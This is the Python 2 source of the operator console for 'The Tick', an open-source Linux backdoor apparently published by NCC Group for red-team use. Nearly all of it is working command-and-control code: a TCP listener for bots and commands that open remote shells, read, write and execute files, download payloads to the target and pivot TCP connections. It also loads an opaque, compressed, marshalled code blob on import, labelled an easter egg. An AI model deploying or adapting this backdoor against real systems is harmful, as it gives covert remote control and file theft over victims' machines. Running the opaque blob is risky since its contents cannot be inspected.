#!/usr/bin/env python2 # -*- coding: utf8 -*- """ The Tick, a Linux embedded backdoor. Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Mario Vilas, mario.vilas@nccgroup.com http://www.github.com/nccgroup/thetick See the LICENSE file for further details. """ ############################################################################## # Imports and other module initialization. # This namespace is pretty cluttered so make sure # "from tick import *" doesn't make too much of a mess. __all__ = ["Listener", "Console", "BotError"] # Standard imports... import sys import readline import os import os.path # More standard imports... from socket import * from struct import * from cmd import Cmd from shlex import split from threading import Thread, RLock from traceback import print_exc from uuid import UUID from collections import OrderedDict from argparse import ArgumentParser from time import sleep from functools import wraps from multiprocessing import Process from subprocess import check_output # This is our first dependency and we check it now so # we know if we can use colors to show errors later. try: from colorama import * # Disable colors if requested. # # Note that we have do do this here rather than # when parsing the command line arguments, since # several error conditions would happen before that. # or even withing argparse itself. # # Unfortunately this also disables all the other nifty # console tricks we can do with ANSI escapes too. :( if "--no-color" in sys.argv: ANSI_ENABLED = False init(wrap = True, strip = True) else: ANSI_ENABLED = True init() except ImportError: print "Missing dependency: colorama" print " pip install colorama" exit(1) # Adds support for colors to argparse. Very important, yes! try: from argparse_color_formatter import ColorHelpFormatter except ImportError: print "Missing dependency: " + Style.BRIGHT + Fore.RED + "argparse_color_formatter" + Style.RESET_ALL print Style.BRIGHT + Fore.BLUE + " pip install argparse-color-formatter" + Style.RESET_ALL exit(1) # ASCII art tables. Of course we need this, why do you ask? try: from texttable import Texttable except ImportError: print "Missing dependency: "+ Style.BRIGHT + Fore.RED + "texttable" + Style.RESET_ALL print Style.BRIGHT + Fore.BLUE + " pip install texttable" + Style.RESET_ALL exit(1) # Yeah it's not pythonic to use asserts like that, # but an old dog don't learn new tricks, y'know. # And also, to be fair, CPython's idea of "optimization" # breaks too many things anyway, so let's prevent that too. try: assert False print "Running with assertions disabled is a " + Style.BRIGHT + Fore.RED + "TERRIBLE IDEA" + Style.RESET_ALL, if ANSI_ENABLED: print " \xf0\x9f\x98\xa0" # angry face emoji else: print print "Please don't do that ever again..." exit(1) except AssertionError: pass ############################################################################## # Some good old blobs. Nothing says "trust this code and run it" like blobs. # Boring banner :( BORING_BANNER = """ ICAbWzMybRtbMW3ilZTilabilZcbWzIybeKUrCDilKzilIzilIDilJAgIBtbMW3ilZTilabilZcb WzIybeKUrOKUjOKUgOKUkOKUrOKUjOKUgBtbMG0KICAbWzMybRtbMW0g4pWRIBtbMjJt4pSc4pSA 4pSk4pSc4pSkICAgG1sxbSDilZEgG1syMm3ilILilIIgIOKUnOKUtOKUkBtbMG0KICAbWzMybRtb MW0g4pWpIBtbMjJt4pS0IOKUtOKUlOKUgOKUmCAgG1sxbSDilakgG1syMm3ilLTilJTilIDilJji lLQg4pS0G1swbQo= """.decode("base64") # Fun banner :) FUN_BANNER = """ ChtbMzFtG1sxbeKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiBtbMjJt4paTIBtbMW3ilojilogbWzIy beKWkSAbWzFt4paI4paIG1syMm0g4paTG1sxbeKWiOKWiOKWiOKWiOKWiCAgICDiloTiloTiloTi lojilojilojilojilogbWzIybeKWkyAbWzFt4paI4paIG1syMm3ilpMgG1sxbeKWhOKWiOKWiOKW iOKWiOKWhCAgIOKWiOKWiCDiloTilojiloAbWzIybQobWzIybeKWkyAgG1sxbeKWiOKWiBtbMjJt 4paSIOKWk+KWkuKWkxtbMW3ilojilogbWzIybeKWkSAbWzFt4paI4paIG1syMm3ilpLilpMbWzFt 4paIG1syMm0gICAbWzFt4paAG1syMm0gICAg4paTICAbWzFt4paI4paIG1syMm3ilpIg4paT4paS 4paTG1sxbeKWiOKWiBtbMjJt4paS4paSG1sxbeKWiOKWiOKWgCDiloDiloggICDilojilojiloTi logbWzIybeKWkiAbWzIybQobWzIybeKWkiDilpMbWzFt4paI4paIG1syMm3ilpEg4paS4paR4paS G1sxbeKWiOKWiOKWgOKWgOKWiOKWiBtbMjJt4paR4paSG1sxbeKWiOKWiOKWiBtbMjJtICAgICAg 4paSIOKWkxtbMW3ilojilogbWzIybeKWkSDilpLilpHilpIbWzFt4paI4paIG1syMm3ilpLilpIb WzFt4paT4paIICAgIOKWhCDilpPilojilojilojiloQbWzIybeKWkSAbWzIybQobWzIybeKWkSDi lpMbWzFt4paI4paIG1syMm3ilpMg4paRIOKWkRtbMW3ilpPilogbWzIybSDilpEbWzFt4paI4paI G1syMm0g4paS4paTG1sxbeKWiCAg4paEG1syMm0gICAg4paRIOKWkxtbMW3ilojilogbWzIybeKW kyDilpEg4paRG1sxbeKWiOKWiBtbMjJt4paR4paSG1sxbeKWk+KWk+KWhCDiloTilojilojilpLi lpMbWzFt4paI4paIIOKWiOKWhCAbWzIybQobWzIybSAg4paS4paIG1sxbeKWiBtbMjJt4paSIOKW kSDilpEbWzFt4paT4paI4paSG1syMm3ilpHilogbWzFt4paIG1syMm3ilpPilpHilpIbWzFt4paI 4paI4paI4paIG1syMm3ilpIgICAgIOKWkuKWiBtbMW3ilogbWzIybeKWkiDilpEg4paRG1sxbeKW iOKWiBtbMjJt4paR4paSIBtbMW3ilpPilojilojilojiloAbWzIybSDilpHilpLilogbWzFt4paI G1syMm3ilpIgG1sxbeKWiOKWhBtbMjJtChtbMjJtICDilpIg4paR4paRICAgIBtbMW3ilpIbWzIy bSDilpHilpEbWzFt4paS4paR4paSG1syMm3ilpHilpEg4paS4paRIOKWkSAgICAg4paSIOKWkeKW kSAgIOKWkRtbMW3ilpMbWzIybSAg4paRIOKWkeKWkiDilpIgIOKWkeKWkiDilpLilpIgG1sxbeKW kxtbMjJt4paSG1syMm0KG1syMm0gICAg4paRICAgICDilpIg4paR4paS4paRIOKWkSDilpEg4paR ICDilpEgICAgICAg4paRICAgICDilpIg4paRICDilpEgIOKWkiAgIOKWkSDilpHilpIg4paS4paR G1syMm0KG1syMm0gIOKWkSAgICAgICAbWzJt4paRG1syMm0gIOKWkeKWkSDilpEgICAbWzJt4paR G1syMm0gICAgICAgIOKWkSAgICAgICDilpIg4paR4paRICAgICAgICAbWzJt4paRG1syMm0g4paR 4paRIBtbMm3ilpEbWzIybSAbWzIybQobWzJtICAgICAgICAgIOKWkSAg4paRICDilpEgICDilpEg IOKWkSAgICAgICAgICAgICDilpEgIBtbMjJt4paRG1sybSDilpEgICAgICDilpEgIOKWkSAgIBtb MjJtChtbMm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4paRICAgICAg ICAgICAgICAgG1syMm0KG1swbQ== """.decode("base64") # This is a cute Easter Egg for those of you who read the source code. ;) # For the extra paranoid out there: you can just remove this blob, nothing # will break. Make sure to wear your favorite tinfoil hat when you do it! play = """ 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 """ try: import marshal, types, zlib play = play.decode("base64") play = zlib.decompress(play) play = marshal.loads(play) # I know many of you will play = types.FunctionType(play, globals(), "play") # go "yikes" now xD except Exception: del play # no easter egg for you, sorry :( print_exc() #del play # uncomment to disable ############################################################################## # Custom TCP protocol definitions and helper functions. # Base command IDs per category. BASE_CMD_SYSTEM = 0x0000 BASE_CMD_FILE = 0x0100 BASE_CMD_NET = 0x0200 # No operation command. CMD_NOP = 0xFFFF # System commands. CMD_SYSTEM_EXIT = BASE_CMD_SYSTEM + 0 CMD_SYSTEM_FORK = BASE_CMD_SYSTEM + 1 CMD_SYSTEM_SHELL = BASE_CMD_SYSTEM + 2 # File I/O commands. CMD_FILE_READ = BASE_CMD_FILE + 0 CMD_FILE_WRITE = BASE_CMD_FILE + 1 CMD_FILE_DELETE = BASE_CMD_FILE + 2 CMD_FILE_EXEC = BASE_CMD_FILE + 3 CMD_FILE_CHMOD = BASE_CMD_FILE + 4 # Network commands. CMD_HTTP_DOWNLOAD = BASE_CMD_NET + 0 CMD_DNS_RESOLVE = BASE_CMD_NET + 1 CMD_TCP_PIVOT = BASE_CMD_NET + 2 # Response codes. CMD_STATUS_OK = 0x00 CMD_STATUS_ERROR = 0xFF # TCP pivot structure for IPv4. # typedef struct // (all values below in network byte order) # { # uint32_t ip; // IP address to connect to # uint16_t port; // TCP port to connect to # uint16_t from_port; // Optional TCP port to connect from # } CMD_TCP_PIVOT_ARGS; def build_pivot_struct(ip, port, from_port = 0): return inet_aton(ip) + pack("!HH", port, from_port) # Command header. # typedef struct # { # uint16_t cmd_id; // Command ID, one of the CMD_* constants # uint16_t cmd_len; // Small data size, to be read in memory while parsing # uint32_t data_len; // Big data size, to be read by command implementations # } CMD_HEADER; # Build the command header structure. def build_command(cmd_id, cmd = "", data = ""): cmd_len = len(cmd) try: data_len = len(data) except TypeError: data_len = data data = "" return pack("!HHL", cmd_id, cmd_len, data_len) + cmd + data # Response header. # typedef struct # { # uint8_t status; // Status code (OK or error) # uint32_t data_len; // Big data size # } RESP_HEADER; # Get only the response header from the socket. # Data following the header must be read separately. def get_resp_header(sock): status = sock.recv(1) data_len = sock.recv(4) if status == "" or data_len == "": raise BotError("disconnected") status, data_len = unpack("!BL", status + data_len) if status == CMD_STATUS_ERROR: if data_len > 0: msg = recvall(sock, data_len) if len(msg) != data_len: raise BotError("disconnected") raise BotError(msg) return data_len # Skip bytes coming from the bot we don't actually need to read. def skip_bytes(sock, count): while count > 0: bytes = len(sock.recv(count)) if bytes == 0: raise BotError("disconnected") count = count - bytes # Get the response header and ignore the response data. # We'll use this for commands that don't require a response; # that way even if the bot sends data we don't expect, the # protocol won't break. Future compatibility FTW :) def get_resp_no_data(sock): data_len = get_resp_header(sock) skip_bytes(sock, data_len) # Read a fixed size block of data from a socket. # Caller must ensure to check for errors. def recvall(sock, count): buffer = "" while len(buffer) < count: tmp = sock.recv(min(65536, count - len(buffer))) if not tmp: break buffer = buffer + tmp return buffer # Get the response header and the data, all together. # We'll use this only for responses we assume have a reasonable # amount of response data. TODO: perhaps make sure this is # the case somehow - not too worried about this anyway. def get_resp_with_data(sock): data_len = get_resp_header(sock) data = recvall(sock, data_len) if len(data) != data_len: raise BotError("disconnected") return data # Copy a fixed amount of bytes from one file descriptor to another. # If the data runs out before the operation is over, we fail silently. # TODO: it'd be best to handle this error case too, but we must review # how to do it specifically for each case. def copy_stream(src, dst, count): while count > 0: buffer = src.read(min(65536, count)) if not buffer: break count = count - len(buffer) dst.write(buffer) ############################################################################## # C&C server over a custom TCP protocol. # This class is exported by the module so we can # have C&C servers decoupled from the console UI. # Well, in theory. One day. We'll see. class Listener(Thread): "Listener C&C for The Tick bots." def __init__(self, callback, bind_addr = "0.0.0.0", port = 5555): # True when running, False when shutting down. self.alive = False # Callback to be invoked every time a new bot connects. # The callback will receive two arguments, the listener # itself and the bot that just connected. self.callback = callback # Bind address and port. self.bind_addr = bind_addr self.port = port # Listening socket. self.listen_sock = None # Ordered dictionary with the bots that connected. # It will become apparent why we're using an ordered dict # instead of a regular dict once you read the source code # to the Console class. self.bots = OrderedDict() # Call the parent class constructor. super(Listener, self).__init__() # Set the thread as a daemon so way when the # main thread dies, this thread will die too. self.daemon = True # Context manager to ensure all the sockets are closed on exit. # The bind and listen code is here to make sure its use is mandatory. def __enter__(self): self.listen_sock = socket() self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.listen_sock.bind((self.bind_addr, self.port)) self.listen_sock.listen(5) return self # Context manager to ensure all the sockets are closed on exit, # the "running" flag is set to False, and the "bots" dictionary # is cleared. def __exit__(self, *args): self.alive = False try: self.listen_sock.shutdown(2) except Exception: pass try: self.listen_sock.close() except Exception: pass self.listen_sock = None for bot in self.bots.values(): try: bot.sock.shutdown(2) except Exception: pass try: bot.sock.close() except Exception: pass self.bots.clear() # This method is invoked in a background thread. # It receives incoming bot connetions and invokes the callback. def run(self): # Sanity check. assert not self.alive # We are running now! Yay! \o/ self.alive = True # Use the context manager to ensure all resources are freed. with self: # Loop until we are signaled to stop. while self.alive: try: # Accept an incoming bot connection. # This is a blocking call and the background # thread will spend most of the time stuck here. sock, from_addr = self.listen_sock.accept() try: # Uh-oh, someone asked us to stop, so quit now. if not self.alive: try: sock.shutdown(2) except Exception: pass try: sock.close() except Exception: pass break # The first 16 bytes that come from the socket # must be the bot UUID value. This value is # generated randomly by the bot when starting up. # It DOES NOT identify the target machine, but # rather the bot instance, so multiple instances # on the same machine will have different UUIDs. uuid = recvall(sock, 16) if len(uuid) != 16: continue uuid = str(UUID(bytes = uuid)) # Instance a Bot object for this new connection. bot = Bot(sock, uuid, from_addr) # Keep it in the ordered dictionary. This means # the dictionary will remember the order in which # the bots connected. This is useful for the Console # class later on. self.bots[uuid] = bot # On error make sure to destroy the accepted socket. except: try: sock.shutdown(2) except Exception: pass try: sock.close() except Exception: pass raise # Invoke the callback function to notify # a new bot has connected to the C&C. try: self.callback(self, bot) except Exception: print_exc() # Print exceptions and continue running. # TODO maybe use the console notifications for this? except Exception: print_exc() # The accept() call is a bit particular in Python, # we can't just close the socket and call it a day. # This resulted in stubborn listener threads who simply # refused to die... extreme measures had to be taken. ;) def kill(self): "Forcefully kill the background thread." # Trivial case. if not self.alive: return # Set the flag to false so the thread # knows we are asking it to quit. self.alive = False # Connect briefly to the listnening port. # This will "wake up" the thread stuck # in the blocking socket accept() call. s = socket() try: s.connect(("127.0.0.1", self.port)) finally: s.close() ############################################################################## # How to talk to connected bots. # Class for all bot related exceptions. class BotError(RuntimeError): "The Tick bot error message." # This decorator will do some basic checks on bot actions. # It also catches some error conditions such as the bot being disconnected # or the user canceling the operation with Control+C. def bot_action(method): @wraps(method) def wrapper(self, *args, **kwds): assert self.alive try: return method(self, *args, **kwds) except KeyboardInterrupt: self.alive = False try: self.sock.shutdown(2) except: pass try: self.sock.close() except: pass raise BotError("disconnected") except BotError, e: if str(e) == "disconnected": self.alive = False raise return wrapper # This class is not exported because I don't see a real reason # for a user of this module to manually instance Bot objects. class Bot(object): "The Tick bot instance." def __init__(self, sock, uuid, from_addr): # True if we can send commands to this instance, False otherwise. # False could either mean the bot is dead or the socket is being # used for something else, since some commands reuse the C&C socket. self.alive = True # The C&C socket to talk to this bot. self.sock = sock # The UUID for this bot instance. # See Listener.run() for more details. self.uuid = uuid # IP address and remote port where the connection came from. # # The IP address may not be correct if the bot is behind a NAT. # You can run the file_exec command to figure out the real IP. # Use your imagination. ;) # # The port is not terribly useful right now, but when we add # support for having the bot listen on a port rather than # connect to us, this may come in handy. self.from_addr = from_addr # Useful for debugging. def __repr__(self): return "<Bot uuid=%s ip=%s port=%d connected=%s>" % ( self.uuid, self.from_addr[0], self.from_addr[1], "yes" if self.alive else "no" ) # # The remainder of this class are the supported commands. # The code is pretty straightforward so I did not comment it. # @bot_action def system_exit(self): self.sock.sendall( build_command(CMD_SYSTEM_EXIT) ) get_resp_no_data(self.sock) self.alive = False @bot_action def system_fork(self): self.sock.sendall( build_command(CMD_SYSTEM_FORK) ) return str( UUID( bytes = get_resp_with_data(self.sock) ) ) @bot_action def system_shell(self): self.sock.sendall( build_command(CMD_SYSTEM_SHELL) ) get_resp_no_data(self.sock) self.alive = False return self.sock @bot_action def file_read(self, remote_file, local_file): self.sock.sendall( build_command(CMD_FILE_READ, remote_file) ) data_len = get_resp_header(self.sock) with open(local_file, "wb") as fd: copy_stream(self.sock.makefile(), fd, data_len) @bot_action def file_write(self, local_file, remote_file): with open(local_file, "rb") as fd: fd.seek(0, 2) file_size = fd.tell() fd.seek(0, 0) self.sock.sendall( build_command(CMD_FILE_WRITE, remote_file, file_size) ) copy_stream(fd, self.sock.makefile(), file_size) get_resp_no_data(self.sock) @bot_action def file_delete(self, remote_file): self.sock.sendall( build_command(CMD_FILE_DELETE, remote_file) ) get_resp_no_data(self.sock) @bot_action def file_exec(self, command_line): self.sock.sendall( build_command(CMD_FILE_EXEC, command_line) ) return get_resp_with_data(self.sock) @bot_action def file_chmod(self, remote_file, mode_flags = 0o777): self.sock.sendall( build_command(CMD_FILE_CHMOD, pack("!H", mode_flags) + remote_file) ) get_resp_no_data(self.sock) @bot_action def http_download(self, url, remote_file): self.sock.sendall( build_command(CMD_HTTP_DOWNLOAD, url, remote_file) ) get_resp_no_data(self.sock) @bot_action def dns_resolve(self, domain): self.sock.sendall( build_command(CMD_DNS_RESOLVE, domain) ) response = get_resp_with_data(self.sock) ##print " ".join("%02x" % ord(x) for x in response) # XXX DEBUG answer = [] while response: family, = unpack("!B", response[0]) if family == AF_INET: addr = response[1:5] response = response[5:] elif family == AF_INET6: addr = response[1:17] response = response[17:] else: raise AssertionError() answer.append(inet_ntop(family, addr)) return answer @bot_action def tcp_pivot(self, address, port): self.sock.sendall( build_command(CMD_TCP_PIVOT, build_pivot_struct(address, port)) ) get_resp_no_data(self.sock) 